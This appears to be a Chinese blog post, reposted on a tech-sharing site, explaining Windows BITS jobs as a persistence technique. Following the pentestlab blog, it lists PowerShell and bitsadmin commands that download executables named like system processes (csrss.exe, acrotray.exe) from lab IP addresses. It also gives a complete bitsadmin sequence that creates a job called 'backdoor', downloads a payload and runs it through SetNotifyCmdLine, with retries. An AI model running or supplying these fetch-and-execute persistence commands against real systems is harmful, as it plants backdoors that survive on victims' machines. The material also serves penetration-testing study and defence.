标签：后门 exe Jobs 文件传输 bitsadmin backdoor pentestlab http BITS

一、Bits Job

windows后台智能传输服务 Background Intelligent Transfer Service (BITS)，用于HTTP或SMB文件传输；它可以给任务设置优先级和异步下载，智能调节带宽，从而不占用其他应用的网络资源。

Powershell和bitsadmin.exe都可用于创建和管理Bits Job，但Powershell似乎只支持文件传输，windows原生程序bitsadmin.exe还支持传输完成后执行代码。

二、Execution

# powershell 传输文件
Start-BitsTransfer -Source http://192.168.240.135/csrss.exe -Destination C:\Users\win10\Desktop\csrss.exe  

# bitsadmin tool传输文件
bitsadmin /transfer test /download /priority high http://192.168.240.135/acrotray.exe C:\Users\win10\Desktop\acrotray.exe 

# 下载后执行文件(python搭的simple httpserver会10054 error，这一步本地没实验)
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.0.2.21/pentestlab.exe"  "C:\tmp\pentestlab.exe"
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\pentestlab.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor

参考：

https://pentestlab.blog/2019/10/30/persistence-bits-jobs/

标签：后门,exe,Jobs,文件传输,bitsadmin,backdoor,pentestlab,http,BITS
来源： https://www.cnblogs.com/ring-lcy/p/12596003.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。